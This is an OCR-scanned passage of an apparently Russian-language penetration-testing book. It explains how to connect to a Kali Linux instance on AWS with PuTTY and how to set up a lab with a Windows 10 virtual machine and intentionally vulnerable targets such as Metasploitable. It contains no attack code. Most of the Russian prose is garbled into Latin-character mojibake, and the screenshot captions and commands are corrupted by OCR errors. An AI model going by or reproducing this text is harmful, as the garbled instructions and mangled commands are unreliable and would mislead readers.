Once your instance is running. connect to it with your SSH private key using the “ec2-user” account. Don't forget to update your Kali instance to gat the latest
packages and bug fixes. Type as root {or sudo): apt update &8 apt dist- de. If you are i ion tesling, please refer to the AWS Testing
Request for more inft http:/faws.amazon. ity i

tasting
¥ ('

Puc. 1.39. MHcTpyKkumsa no ucnonb3oBaHuto Kali Linux

. Bepuurech na crpanuily cocrostnus sanycka (Launch Status) u BeIGepuTE CCBIIKY
Open Your Software on AWS Marketplace (OTKpbITh IporpaMmHoe obeciiederne Ha AWS
Marketplace). Ha Briazgke Software Subscriptions and AMI (IToamnucky Ha IIporpaMMHOe
obecriedervie u AMI) rmesikHUTE KHOKO# MbIIHN Ha ceblike View Instances (ITpocmotp
cOOpOK).

Ha skpate MosBUTCST BCIIJTBIBAIONIEE OKHO, B KOTOPOM GYIYT MPECTABIECHBI CBEIECHUS
00 9K3EeMILISIPe, BKITIOYast HACHTH(HOUKATOP, CBEICHIST 00 OTIePaI[MOHHON CHCTEME U ee
cocroguuu. [llenkanTe KHOMKOM MBIIIK Ha CTPOKe Manage in AWS Console (Ymipas-
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Jienrie B koHcomn AWS). Ita cTpoka HaXOUTCS B TPABOM HIKHEM YTJIy BCILITbIBA-
forero okHa (puc. 1.40).

Instances Detail

i-0b3ad817ea0b223e5 Version 2018.1 on Running Manage in AWS Console
Linux/Unix

Puc. 1.40. BcnbiBatoliee 0KHO

B BepxHeil yacT OTKPBIBIIEHCS CTPAaHUITBI HAXKMIUTE KHONIKY Connect (IToaksounTs-
cs) (puc. 1.41).

Launch Instance w Connect = Actions v
(= ) ioe e

| 0, | search : i-0b3adB17ealb223e5 Add filter @ K < 1tot1of1 > |

18.

19.

@ | Name ~ | Instance ID + Instance Type ~ Avallability Zone ~ Instance State ~ Status Checks - Alarm Status

i-0b3ad817ealb223e5  12.micro us-gast-2c @ running & 2/2checks ... None k)

Puc. 1.41. KHornka Connect (MoaknounTbCS) B BEPXHEN YaCTM CTpaHULbI

Jasee GyyT MpeJIOKEHBI JIOCTYITHbIE BAPUAHTDI TIOKJIIOUEHUST K HAIIIEMY SK3€M-
IJISIPY OIEPAIIMOHHO CUCTEMBI M MHCTPYKIIMK O TOM, KaK ¢ IIoMolbio SSH-kinenTa,
Hanpumep, PUTTY Boimosauts nojakmoderre. Obparure BHUMAHUE: B IPUBEICHHOM
IIpUMepe UM TTapbl Karodeid — Kali_AWS.pem. [Ipu noaksouennn uepe3 SSH-kimenT
06s13aTeILHO UCIIONB3YHTE paHee BBIOPaHHOE BAMU UM TTapbl Kioueid (puc. 1.42).

Jlasee i1 TIOKIIOUEHMST K BatieMy oOsauHoMy ak3eMiuisipy Kali Linux morpe0y-
eTcs aBTOHOMHBII KianeHT Secure Shell (SSH). B kauecTBe OTeJbHOIO KIMEHTA Mbl
ucnosibyeM PuTTY. /Iyt ayreHTUGUKAIINY ¢ HATTAM 0OJIAYHBIM 9K3EMILISIPOM C HC-
[I0JIb30BaHKUEM paHee 3arpysKeHHON Hapbl KJIodyel HaM Takke norpebdyercs Puttygen.
1 PuTTY, u Puttygen nocrasJsiiorcst B 32-1u 64-pa3psiiHOil BEPCUSX U MOTYT OBITH
3arpy’KeHBI IO CAeAYIoNIel cehike: https://www.chiark.greenend.org.uk/~sgtatham/putty/
latest.html?.

Obssarenpio ckadaiite oba dailna: putty.exe u puttygen.exe. ITO UCIIONHSIEMbIE
(paiisibl, ipeHAZHAYEHHBIE /11t onepainoHHoii cucteMbl Windows. ITockobKy 1mpu
HAMUCAHUN 3TOM KHUTY UCTIOJIB30BAJICS KOMITBIOTED ¢ 64-OUTHOU apXUTEKTYPOil, MbI
3arpysuiu aitn ¢ 64-pa3psiiHoil Bepcueid.
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20.

21.

22.

23.
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Connect To Your Instance X

| would like to connect with @ A standalone SSH client
© A Java SSH Client directly from my browser (Java required)

To access your instance:

1. Open an S8H clienl. (find out how lo connect using PuTTY')

2. Locate your private key file (Kall_AWS.pem). The wizard automatically detects the key you used to
launch the instance.

3. Your key must not be publicly viewable for SSH to work. Use this command if needed:
chmod 40@ Kali_AWS.pem
4. Connect to your instance using its Public DNS:
ec2-18-222-141-117.us-east-2. compute. amazonaws . com
Example:
ssh -i "Kali_AWS.pem” rootflec2-18-222-141-117.us-east-2,compute.amazonaws.com

Please note that in most cases the username above will be correct, however please ensure that
you read your AMI usage instructions to ensure that the AMI owner has not changed the default
AMI username.

If you need any assistance connecting to your instance, please see our connection documentation .

nr

Puc. 1.42. MoaxntoyeHne K uHTepdeiicy

[Tocaie 3arpysku ¢aiiynoB putty.exe u puttygen.exe cHauyaja 3anyctute Qaiim
puttygen.exe 1 HAXKMUTE KHOTIKY Load private key (3arpy3uTh 1epcoHaIbHBIN K0 ),
1I0CJIe Yero rnepeiinTe K 3arpy:keHHoMy paHee ¢aiiiry napsl Kiatodeil. BoamoxHo, Bam
JUIst Beex (ailioB morpebyercs usMenutsb tuil (aiiia ¢ PFF na 6osee crapoiii PEM,
Tak Kak (haiis Kiodyeil coxpaneH nMeHHo B aToM opmare. Jlasee Bam Gyner mpes-
JIOZKEHO COXPAHUTD BAII TIEPCOHATBHBIN KJIIOY, YTOOBI TPeobpa3oBarh ero B (hopmMat
PuTTY.

Korza kirou Oyzer HaiijieH, Ha)KMUTe KHOTIKY Save private key (CoxpaHuThb mepco-
HaJIbHBIN Ki04) (puc. 1.43).

Terepb MOKHO 3aIlyCTUTh M HACTPOUTH Putty.exe ¢ HEOOXOAMMbBIMK HACTPOMKAMU
UL TIOJIK/IIOYEeHN K HameMy sk3eMiusapy Kali, pacrionoxentomy B o6make AWS.
B rpymme anementoB Category (KaTteropus), pacroso:xkeHHOI B JIEBOH YacTH OKHA
PuTTY, sBeaure ajpec nmybananoro DNS. Ero BbI HaiijieTe Ha MaHeJ U HHCTPYMEH-
TOB KaTeropuu aKk3eMILisipoB (puc. 1.44).

Beenute mybanunbiii DNS-azipec B nosie BBosia umenu xocta PuTTY (puc. 1.45).
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+GwIRaA/LKZ | MW SdZB0b SrPpKZnwRTOMIEGS | Icayn IMGTATo EefiYFipu It
wYKkDjeu220Yadyugou | TvaiaoMN7s Myl KGM7Pdvl IsAzwXBb 7csd)OIFSSIGKOg —

Key fingerprint: sshrsa 2040 81:00:70 00:2d:1d: 20bd -0 79:63:15:60.d2:20.23
Key comment: ilwl:d-o_pummm

Key passphrase:

Corfimn passphrase:

|~ Adions
Generate a public/private key pair

[ Savepubickey ] | Savepivatekey. |

Load an axigting private key fila
Save the generated key

Paramelers

Type of key to generate:
@ RSA © NsA © HI1ISA @AY ) S5HA (HSA)

| Number of bits in 2 generated key: 2045

B PUTTY KeyGenerator . s ToS]
File Key Conversions Help
Public hey lor pasting inlo OpenSSH aulhoriced_keys ke,
333 -~
AAAADINZ2C yc 2CAARADAQADAAADAGCT 1tH42y YWI IMOfuccMdeha 1Y Sovbagbr @
gMastMSOCODRUNeFYSIHACEq U )

Puc. 1.43. CoxpaHeHvie NpyBaTHOrO K/to4a
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<l [

Instance: | i-0d3fc6e816bb9a378f

Public DNS: ec2-18-222-153-216.us-east-2.compute.amazonaws.com

| Description |L Status Checks || Monitoring || lags || Usage Instructions

Puc. 1.44. My6nuyHbii DNS-agpec

@ PuTTY Cunliguration @

- I Basic optiona for your PuTTY acasion |
Spedylhe deetination you want to connedt to
Host Name for IP address) Port
| 216.ua cast 2 compute .aﬂlamnuws{xm” 2
Connection type:
@ Raw @ Telnct ) Rlogin @ SSH (@) Senal

Load, save o delele a slored session -
=|| | Saved Sessions
Defaull Sellings Load

©Mwaye € Never (@ Only on clean exit

[ open J[ tancal

Puc. 1.45. DNS-agpec BBegeH
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24. B nesoii vactu okHa PuTTY B rpyrire asnemenToB yripasienust Category (Kareropust)
MIPOKPYTHUTE TTOJI3YHOK BHU3, TOKA He yBUANTe KaTeropmio SSH. [lerkHnTe Ha 1110~
CHIKe JieBee Ha3BaHUsI KATETOPUE M B OTKPBIBIIEMCSI CITUCKE MOJKATErOPHil BhIOeprTe
Auth (TTosmomouust) (puc. 1.46). B nipaBoit yactu okna PuTTY HaxxmMuTe KHONIKY
Browse (O030p) 1 B MOSIBUBIIIEMCsI OKHE BBIGEPUTE TPUBATHBIN KJIIOY (hopmaTa . ppk.

MpbI ykazaun uMms 1osb3osaredist Ec2-user.

Category:
. Features e | Optionz controling SSH authertication I
- Window -
B e Display pre-authentication banner (SSH-2 only)
_ Behaviour [C] Bypass authentication enﬁef_gg'!_SSH-z orly)
:;:x':” 7| - Authertication methiods
 Colous [¥] Attempt authertication using Pageart
[E Attempt TIS or CryptoCard auth (SSH-1)
| [ Attempt "keyboardinteractive™ auth (SSH-2)
Puthertication parameters
Allow agent forwanding
= [F] Allow attempied changes of usemame in SSH-2
Private key file for authentication:

|mnnomg\Deainop\aWS4€al-punyppld| [ Browse....

Puc. 1.46. yTb K NpMBaTHOMY Kto4y Bbl6paH

25. Hasxmure xronky Open (OTKpbITh) 1 BoiauTe B cBoi sk3emiuisap Kali B obaxke.
[Tocsie oakouenus He 3a0yapre 06HOBUTH Kali Linux.

Pe3tome

ITocie o3nakomenus ¢ nociaenteii sepeueit Kali Linux mMbl yBujenu, 4To B onepa-
LUOHHOU CUCTeME IIPeLyCMOTPeH GOIbIION HAOOp MHCTPYMEHTOB s 00ecedeH s
6€30MacHOCTH. ITO MHCTPYMEHTHI IIUGPPOBOIT CymHeOHON dKCIIEPTH3BI, OLEHKH OecIpo-
BOAHOM 6€3011aCHOCTH, UHCTPYMEHThI 00paTHOI MHIKEHEPUH, XaKePCKUE MHCTPYMEHTbI
Y WHCTPYMEHTBI JIJIs1 TECTUPOBAHUST HA IIPOHUKHOBEHME. MBI TaKKe pacCMOTpPEJIN Bee
C110Cco0BI YCTAHOBKU M MCIIOJIb30BAHUS HTO ONepalliOHHON crcTeMbl. Bbl MoxkeTe 3a-
nyctuth Kali Linux ¢ Live DVD, USB uiu SD-kapThl, yCTAaHOBUTH €€ B KAU4eCTBE BUP-
TyaJIbHOM MAIIMHbBI UJIM UCTIOJIb30BaTh B KAUECTBE OCHOBHOI OTIEPAIIMOHHON CUCTEMBI.
Kpowme Toro, MoskHO rcrosib3oBarhk obmaunyio Kali Linux.
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Kali Linux, kak u m060e apyroe mporpaMMHoe oOeciiedeHne, TakKe HyKIaeTcst

B 00HOBAEHUN. BBI MOKETE 0GHOBUTH KaK AP0, TAK M BCE BKAIOYECHHOE B ANCTPUOYTUB
nporpamMMHoe obecrieuenue.

B caenytonieii riiaBe Mbl pazBepHeM CBOTO IaO0PATOPUIO /TSt TECTUPOBAHUSA Ha TTPO-

HUKHOBEHUE.

Bonpochl

Kax nHasbiBaercs Mmobunbas sepcus Kali Linux?

Kakas Windows-1miporpamMma HCIIO/Ib3yeTCs TS IIPOBEPKH 1IEJIOCTHOCTH 3arPysKeH-
Horo (aiina obpasa Kali Linux?

Kakas komana Linux npeanasHadeHa /st IPOBEPKU IIEJTOCTHOCTH 3arPysKEeHHOTO
(aiia o6pasa Kali Linux?

Kakoit "HCTPYMEHT MOKHO UCIOJIB30BATH JIJIsl YCTAHOBKY AUCTpUOYyTHBOB Linux,
B yactHoctu Kali Linux, Ha duemmky, kapry SD/micro-SD?

Kaxkue ectp Live-pesKuMbl ycTaHOBKM 1 Mcob3opanms Kali Linux?
Kakas komana npeanasnadena as oonossienust Kali Linux?

Kakyio 6ecratiyio cO0pKy 00LIero Ha3HAuYEHUsT MOKHO MCII0JIb30BaTh IIPU yCTa-
noske Kali Linux B ob6ake?

[lononHUTenNbHbIe MaTepualibl

O Jononuurenbhyio wHbopmanuio 06 ycranoBke Kali Linux MOKHO HaiiTH 3/1€Ch:

https://docs.kali.org/category/installation.

O JonosuurenpHyto nubopmanuio o6 yeranoke Kali Linux Ha jKecTKUI AUCK CO-

BMecTHO ¢ Windows 1 BBIGOpE OIlepaliuoOHHOI CHCTEMBI [TPU 3arpy3Ke KOMITbIoTepa
MOJKHO HAWTH 371ech: https://docs.kali.org/installation/dual-boot-kali-with-windows.



Co3aaHue ucnbiTaTenbHOM
nabopatopuu

B 57011 r71aBe MbI pacCKaKeM, Kak CO3/[aTh U HACTPOUTH JTaOOPATOPHIO JIJIsl HAIIIUX TECTOB
Ha MPOHUKHOBeHHe. MHOTHE TeCThI CHaYaa HeOOXOANMO BBITIOJIHSTH B OTPAHUYEHHOTT
J1abopaTOPHOIL cpejie, IPEsKe YeM JIeJaTh 9TO B MPOU3BOACTBEHHOM cpeje. [ToMHuTE,
repezt poBeIeHIeM JII0O0TO ITara UCIIBITAHUI Ha TPOHUKHOBEHHE B PEATIBHON CPEJIE BbI
JIOJIKHBI TIOJIYYUTh MICHMEHHOE Pa3pelienue u B mporiecce cobJIioiaTh BCe MECTHBIE 3a-
KOHBI. B0 GBI HEMJIOXO TIEPe/] TECTUPOBAHNEM BO M30eKaHIe BCEBO3SMOKHBIX TPOOJIEM
BCE JIETAJIN TIPOBEIEHUST UCTIBITAHUN 00CYIUTH ¢ afiBOKaTOM. HeKoTopbie CcTpaxoBbie
KOMITAHUH TaKsKe MPEIJIATAIOT TeCTepaM Ha IPOHUKHOBEHWE HA CJIydail HellpeiBu/IeH-
HBIX TIOBPEKICHIIT 3aCTPaX0BATh BCE PUCKHL.

Y1o6bI BBl MOTJIM M30€KaTh IOPUAMYECKUX MPOOTEM U HEHYKHBIX PACXO/0B, MbI
HACTOSITEIbHO PEKOMEHJIYEM CO3/IaTh Tab0PATOPHYIO CPELY /ISl SKCTIEPUMEHTATBHOTO
TECTUPOBAHMS HA MPOHUKHOBEHUE, DTO MOKHO CIEJIaTh KaK Ha JKECTKOM JNCKe 00bIU-
HOTO KOMIIBIOTEPA, TaK U HAa BUPTYaJIbHOU MatiHe. VIcrmob3yst TaHHY10 Tab0paTopuio,
BbI CMOKETE YBUIETH PE3YIbTAThl TECTOB, MPOAHAIU3UPOBATH UX BIMsIHIE HA 000-
pyZoBaHue, IporpaMMHoe obecrieueHne 1 OBICTPOAEHCTBIE, TaK KaK MHOTHE U3 DTHX
TECTOB CIIOCOOHBI HAPYIIUTH HOPMAJIbHYIO paboTy 000pyA0BaHus, 4TO 3aTPOHET padoTy
OpraHu3aIui.

B 570ii r71aBe MBI TOAPOOGHO PACCMOTPUM CJICAYIOIINE TEMBI.

Hacrpoiika cpenst Windows Ha BUPTYaTbHON MalITiHE.,
YcTanoBKa ysI3BUMBIX CEPBEPOB.
YcraHoBKka gomoHATeIbHBIX nHCTpYyMerToB B Kali Linux.

Certesbie caysx6pr B Kali Linux.

O000O

JlotiosiHUTE IbHBIE TAGOPATOPUH U PECYPCHI.

TexHun4yeckne TpeboBaHUs

O MuHuMasbHbIe anaparHble TpeboBanus: 6 [6aiiT orepaTUBHON TAMSATH, YEThIPEXD-
spepHbiii poreccop 2,4 I'Ti, 500 T6aiiT cBOOOAHOTO MecTa Ha JKeCTKOM JIMCKeE.

Q Virtual Box: https://www.virtualbox.org/wiki/Downloads.
Q Metasploitable 2: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/.
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QO VYmnakosmuk: https://www.packer.io/downloads.html.
Q Vagrant: https://www.vagrantup.com/downloads.html.
O Metasploitable 3: https://github.com/rapid7/metasploitable3.

a Ha60p YA3BUMBIX Be6-cepBep0B: https://d396qusza40orc.cloudfront.net/softwaresec/
virtual_machine/BadStore_212.iso.

dusnyeckaa nnu BupTyanbHaa?

Periernie 0 ToM, Kakyto JJabOPaTOPUIO CO3/aBaTh: (PU3NUECKYIO, BUPTYAIbHYIO WA UX
KOMOWHAITHIO, 3ABUCHT OT BaIllero GI0jsKeTa 1 IOCTYITHBIX pecypcoB. Tectuposanue Ha
[IPOHUKHOBEHUE B 3aBUCUMOCTH OT UCIIOJIb3YeMbIX HHCTPYMEHTOB MOKET OBITh JOBOJIb-
Ho sloporuM. OcobGeHHO ecain BBl BBIGUpaeTe KoMMepueckre nHeTpymMenTsl. Ho, yuu-
ThIBast MHOKeCTBO HocTymHBIX B Kali Linux mporpaMM ¢ OTKPBITBIM HCXOIHBIM KOJIOM,
6€3 KOMMEPYECKUX HHCTPYMEHTOB MOKHO 060iTHCh. KpoMe TOTo, TaKue MHCTPYMEHTHI
noctynubl Ha GitHub u GitLab.

[l mpodeccnoHaTBHOTO UCTIBITAHUS HA TPOHUKHOBEHWE MBI UMeeM JiBe (prsnye-
ckue MarmuHbl, OHa — HOYTOYK, MCIOJIb3yeMblil B 1TaG0OPaTOPHK, OCHAIIEH JKECTKUM
muckoM oObemom 1 T6aiit, 16 T6aiit onepatusaoil naMatu DDR4, npomeccopom i7
u Bugeokaproit NVIDIA GeForce GTX 1050. Ha HeM ycTaHOBJICHBI TPU BUPTYaJIbHbIE
maiuibl 1 ocHoBHas OC (Kali Linux 2018.2). Bropas manmna — 310 crapast pabodas
crannus Tower ¢ muckamu 2 T6aiir, 24 T6aiit oneparusroii namsaTi DDR3 u iporec-
copowm Intel Xeon 3500 co BeTpoeHHOI BuseokapToil. Ha Heil ycTaHOBJIEHO HECKOJIBKO
BUPTYAJIbHBIX MAIIIVH, B TOM YHCJIE UCIOIb3yeMble B MOEH BUPTYaIbHOI TabopaTOPHOI
cpee.

[Tpu cozmannm 1abopaTOPHON CPeabl HEOOXOIUMO JJIsT KAKION OMeparnoHHOM
cucrembl, Bkitodast ocHoBHyto OC 1 Bce BUPTYaJIbHbIE MAIIMHBL, COGJIIOCTH XOTST OB
MUHUMAJbHBIE PeKOMeHiyeMble TpeboBanus. [[us kombopTHOit paboTsl 6Ge3 ommnbok,
CBSI3aHHBIX C HEJOCTATKOM OTIEPATUBHOI MaMsTH, ObIIO ObI MPABUIBHO UMETH 3a1mac
ONepaTUBHON HaMsIT OOJIbIIle PEKOMEHYEMOTO. Y UUThIBasL, YTO OOJIBITHHCTBO OTIe-
PAILMOHHBIX CUCTEM, CO3IaHHbIX Ha Oasze Linux, Tpebyior Bcero 2 ['6aiiT onepatuBHOi
MaMSITH, BBITTOJIHUTD HTO TpebOBaHNUE He Tak YK ¥ Tswke0. Ho omsaTh ske Bee 3aBUCHT OT
BaIero OKeTa U OCTYITHBIX PECYPCOB.

Hactponka Windows Ha BUpPTYyanbHOW MalLMHE

ITockonbky Microsoft Windows 10 — 570 mociegsss onepaonHast CUCTeMa OT KOMIIa-
Huw Microsoft, MbI PENTIN YCTAHOBUTH €€ B CBOEH JIabOPaTOPHH O TECTHPOBAHKIO Ha
[IPOHUKHOBEHME, DTa OllepallnoOHHast CUCTEMA Ceiiyac yCTaHaBIMBAETCsl Ha GOJIBITMHCTBE
HOBBIX IIEPCOHAJIBHBIX KOMIIBIOTEPOB U HOYTOYKOB. UTOOBI HE MOBPEIKUTDH CBOIO OCHOB-
ayio OC, nma nposenenus TectoB Windows 10 mydiiie ycTaHOBUTD Ha BUPTYATbHYIO
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ManiHy. Mbl peKOMeH/lyeM YCTaHOBUTb TECTOBYIO OIIEPAIIMOHHYIO CUCTEMY Ha BUPTY-
AJIBHYIO MAIIIMHY ¥ YUTATENISIM, Y KOTOPBIX B KadecTBe ocHoBHOIT OC ycraHosieHa Gosee
crapas Bepcust Windows, MAC niu Linux. Koneuno, KoJIu4ecTBo KOMIIBIOTEPOB II0]
yrpasiaenneM Windows 7 HOCTOSHHO yMeHbIIAETCs. ITO 0ObICHSIETCS TEM, YTO IIOA-
JIEPIKKA JIAHHOW OTIEPAIIOHHOI CUCTEMbBI 3aKOHUIJIACH M 9TU CHCTEMbI CTAHOBSITCST HoJiee
VSA3BUMBIMU JIJIS 3JIOYMBITJIEHHUKOB. XOTS €CTh T0Jb30BaTEIH, XPAHSIINE BEPHOCTD
Windows 7 u ycTaHOBUBIIIHE 3alIPeT Ha OOHOBJIEHHE.

JlJis1 9TOH yCTaHOBKYM MBI MCIIOJIb3yeM 03HAKOMUTENbHYIO Koo Windows 10
Enterprise Edition, goctymHyto mst mpsiMoil 3arpysku ¢ caiita Microsoft. Ber moskere
cKayath o3HaKoMUTesIbHY0 Koo Windows 10 Enterprise co cTpaHuIibl, pacoIoKeH-
HOMH 110 azipecy https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise.
Ydrure, 4TO 03HAKOMUTEJIBHBIN CPOK € 9TOH BepcHeil onepaliioHHoN CUCTEMbl paBeH
90 mrstM. Jlasiee BbI IOJKHBI WA TPUOGPECTH JIUTIEH3UIO, HJIH OTKAa3aThCs OT JabHel-
1Iero UCIOJIb30BAHUS CUCTEMBI.

Ha crpanuiie 3arpysku Bbl Halijiere aiBe jocTynHbie Bepeun: 1SO-06pas u Bepcuio
¢ pojrocpounbiM obcayskuBannem (LSTB). Boibepure o6pas ISO — Enterprise u Ha-
sx&MuTe KHOTIKY Continue (TTposo/ukuTh). 3amnoaHuTe He0OXO[UMbIE MOJIsI BBOJIA U CHOBA
naxkmure kHotky Continue (ITpogoskuts). [loskasnyiicta, 3amoMHUTE BBE/IEHHbIE BAMU
JIAHHBIE, TaK KaK 1MoTpedyeTcst ¢ MoMOIIbio TesieonHoro 3souka uimn CMC mpoiitu
MIPOBEPKY MOJIMHHOCTH.

BoibGepute paspsiIHOCTD 3aTpysKaeMoil orepaliioHHoN crcteMbl (32 win 64 Oura),
SI3BIK ¥ HAKMUTE KHOMIKY Download (3arpy3uTs).

Tenepb MOKHO IPUCTYIIUTh K CO3JaHUI0 BUPTyabHOU Mamabsl Windows 10.
Het HuKakoil pasHUIIbI, KAKOW BUPTYaIbHOI MAIIHON BOCIIO/Ib3yeTech BbI: VirtualBox
i VMware. Mbl paboranu ¢ VirtualBox.

3alrycTuTe YCTAaHOBJICHHYIO paHee BUPTYAIbHYIO MAIlMHY M HAKMUTE KHOIIKY New
(Coszatp). ITa KHOIIKA HAXOJAUTCA B JIEBOM BEPXHEM YIJIy OKHA MeHeKepa BUPTYaJib-
HbIX MariuH. [TpucBoiite BUPTYaJIbHOIT MAIITHE UMsT 1 BBIOEpUTE HEOOXOAUMYIO BEPCHIO
(32 win 64 6ura). Boibop Bepcun 3aBUCHUT OT Pa3psiIHOCTU BAIIETO KOMITBIOTEPA U OT
sarpyskenHoit Bepcun ISO-o6pasa. [lyist mpogosskeHst Haxkmute KHOTIKY Next ([lasee).

Boijiesiire BUPTYaIbHON MalinHie 00beM J0CTYITHO# onepaTtiuBHON mamsiti. J{ist Win-
dows 10 pekomeHyeTcs BBIIEISATh He MeHee 2 [6aiiT. YunuTbiBast, 4TO Ha Haleil Ma-
muHe ycTanosiaeno 24 T6aflT omepaTUBHON MaMSsITH, MBI JI7IST BUPTYATLHON MATTHHDL
Windows 10 Beigesmau uyth 6osbiie 6 ToaiiT (puc. 2.1).

CospaiiTe HOBBIM BUPTYaIbHBIN sKeCTKUN MUCK. /{15t aTOTO B OKHeE Hard Disk (ZKecTkumit
JINCK) YCTAHOBUTE TIepeKJovaTes b B oJsiokeHue Create virtual hard disk new (Cosnath
HOBBII BUPTYJIBHBIN JKECTKUI JIMCK) U Ha3KMUTe KHOMIKY Create (Coszars).

B cnenyoniem oxne Specified Type (Y KaxkuTe TUIT) OCTaBbTE IIpe/lJIaraeMblil 110 yMOJI-
YAHUIO TUTI co3iaBaemMoro aucka — VDI (VirtualBox Disk Images) 1 HakMuTe KHOIKY Next
([lanee). Ha axpane nosiButcst okHo File location on size (Ykaxure hopmMaT XpaHeHUs ).
YcranosuTe nepexJodartesb B moJoskeHne Dynamic virtual hard disk (lunamuaeckuii Bup-
TYaJIbHBIN JKEeCTKUIT IUCK). BEIOpaB 3TOT mapamMeTp, BBl COKOHOMUTE MECTO Ha KECTKOM
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nmcke. Beibupas pazmep TMHAMIYECKOTO BUPTYAJIbHOTO KECTKOTO INCKA, BbI YKAa3bIBACTE
€ro MaKCUMaJIbHBII pazmep, KOTOPBIN He MOKeT ObiTh mpeBbien. Ha nere e 6yuer
HCIIOJb30BAHA TOJBKO HE0OX0AMMAast I PAGOTHI OTIEPAITMOHHON CUCTEMbI YacTh BbI-
nenenHoro npocrpanctsa. Haxmure knonky Next ([lasee). [TosiBurcst okno Name and
file size (Ykaskute nms u pazmep aiia).

R =

@ CO343TE BMATYANEHYHD MALLMHY

YKaxunTe 0ObeM namarv

YiaMTE OOBEM ONEPATHMEHON NaMATK (RAM) EBILENEHHEIN AAHHOR EMPTYANEHOA MaLLWHE.

PekomeHgveMel 00tem paeeH 2048 ME,

y - 2048 [2f mB

4 ME 8192 MB

Hanee l ’ CITMEHS

Puc. 2.1. BolgeneHue namMsTv ans BupTyasnbHoi MalmHbl Windows 10

[Tpu BBIGOPE pasMepa BUPTYATbHOTO JAUCKA CJEAYET YIeCTh, CKOJBKO 3aliMyT cama
olleparnoHHast CHCTeMa 1 YCTaHOBJICHHBIE TIPIJIoKeHst. Ham, Harrpumep, HysKHO Oy/eT
ycranoButh Metasploitable. TToatomy aist Buptyasnbroit Mammabsl Windows 10 Mbl BbI-
nenn 64 Toaiir. Haxkmure kHonKy Create (Cosmars) (puc. 2.2).

Tenepb HaM HY’KHO yKasath, rie Haxoautces [SO-o6pas ycraHaBinBaeMoil ornepa-
IIMOHHON crucTeMBbl. B s1eBoil yacTu MeHeKepa BUPTYJIbHBIX MAIIMH IETKHUTE HA
Ha3BaHWM TOJBKO YTO co3fianHoil BM u Hasxkmute kHotKy Start (HavaTs). Jra kHOMKa
HAXOJIMTCS HA MAHeJU WHCTPYMEHTOB MeHe/)Kepa BUPTYAIbHbIX MalIiH. Marna 3a-
MyCTUTCS, ¥ BBl YBUJIUTE IHAJIOTOBOE OKHO Select start-up disk (BbeiGepure 3arpy3ounbii
JcK). Boibepute 06pas 3arpy304HOTo Aucka. [lJist 3T0r0 HayKMUTE KHOTIKY B BU/IE AITKH,
PACIIOIOKEHHYIO CIIPaBa OT I0JIs1 BBOJIA IyTH K ycTaHaBuBaeMoMy ISO-06pasy, u Bbi-
Gepure B OSIBUBIIEMCS OKHE patee 3arpyskeHHbii ISO-06pa3 03HaKOMUTEIbHON KOTIUN
Windows 10. [lyist TpoioJKeHIst yCTaHOBKY HaskMuUTe KHOMKY Start (ITpogoskuTh)
(puc. 2.3).
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@ CUS A B Y IHBIA AELTEAA AMLE

YKkaxuTe nmsa v pasmep Gakina

MOKEMYACTS YREHMTE MMA HOSOrD BMPITYSNEHOND XECTKOND AMCKS B NONE CHMIY MMM MONOMEYATE KHOMKY C MKOHKDM Mark
rAnARA NT HAMM.

Wlinuws 10 j

YKAMUATR [IAZMEN RLUMITYANRHON $ETKOM AWOKGA B MAEFARANTAY. 3TA RRMAUHA WFRAHWUMRSRT [AMEN ARNNRRE AHHRTE,
MOTOPLAC DMDTY ML MALIIS CMOOICT 131 IATL 113 STOM AWCKS,

J | Ul B

Cozdate ” OTMEHE

Puc. 2.2. BupTyanbHas MaluvHa NOAroToBMEHA K YCTaHOBKE OI'IepaLl,MOHHOl‘/II CUCTEMDI

(3 [l

@ BrIGEpMTE ZarpyS0uHEA QMCK

MoanyMcTa BRIGEpMTE BUPTYANEHEIR ONTHMUSCKAN AMCK 1M thiM3ueckii
MPMED, ONTIMUSCKME AMCKOE, COASpHALLA JMCK ANA 3amycks Bawel HosoR
EHPTYAMEHOEN MALLIMHEL

Juck 4omeH BEITe 3arpy=0UHEIM W COASPHETE AMETPMEYTHE ONEPELMOHHOMN
CMCTEMBI, KOTOPYHD Bel XOTMTE YCTAHOBMTE, AMCK OyAET SETOMATMUECKM
MZENE YEH MM BEIKMIOYSHMA BUMPTYANEHON MALLMHE, OSHAKD, B Cydae
HEOBXOAMMOCTH, Bl MOXKETE CAENATE STO WM CaMM MCMOMLSYA MEHKD
YCTpOMCTES,

ru_windows_10_pro_10061_x6¢4_dvd.iso (3,36 [E) @

MpoAon#mTe H OTMEHS ]

Puc. 2.3. OKHO BbibepuTe 3arpy304Hblii ANCK

Ha sxpane mosiBUTCS 3acTaBKa IPOrpaMMbl YCTAHOBKHU OTIEPAIMOHHON CHCTEMBI
Windows 10. Beeaure HeobxoauMy0 HHGOPMAIIIO U JJIS TPOIOJIKEHIST HAKMUTE
kHOTKY Next ([lasee).
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Yro6bl HAYaTh MPOIECC YCTAHOBKHU, HAKMHUTE KHOTKY Install (Y cTaHOBUTS).
[TpumuTe yeaosus JutieHsur Microsoft v 17t TpOIOIKEeHNsT HAKMUTE KHOTKY Next
(Hasee). BeiGepuTe BBIOOPOUHYIO YCTAHOBKY, HaskMuTe KHOIIKY Create (Cosaarh), mocie
4yero oThopMaTUPYTe JKECTKUM TUCK BUPTYaTbHOU MammuHbl (puc. 2.4).
@ %) Windows Setup

Where do you want to install Windows?

| Name | Total sizel Free spacel Type |
@ Unnalocated Space 64.0 GB 64.0GB Primary |
4 Refresh 75 Delete & Format MNew
{3 Load driver Q Extend

Puc. 2.4. Boibepute dyHKLMIO GOPMaTMPOBaHUs BUPTYasIbHOTO XECTKOro AncKa

[Tocse hopMaTHpoBaHust YOEAUTECH, YTO BHIOPAH PA3/es ¢ YKa3aHHBIM paHee pas-
MEpOM, U JIJIst TPOIoJIKe st HaskmuTe KHOTKY Next ([lasee) (puc. 2.5).

MpoLecc yCTaHOBKM OMepaLyoHHON CUCTEMbI 3aMMET HEKOTOPOE BPEMS, a Bbl
MoKa 03HaKOMbTECh CO CMNCKOM APYryX KHUI MO TECTUPOBAHMIO Ha MPOHMK-
HoBeHue: https://www.packtpub.com/tech/Penetration-Testing.

[Tocre Toro kak ycranoBka 3aBepiutcs (puc. 2.6), mozsosbre OC aBTOMaTHUYeCKN
repe3arpys3uThCsl.

[Tocie epe3arpysku BaM cHavdasa OyeT PeioKeHo BHIOPATH S3bIK U PACKIAIKY
KJIaBUATYypPHL. /lasee, mepes TeM Kak IPEIOKNATh YCTAHOBUTD ITapaMeTPhl KOH(MUIEHTIH-
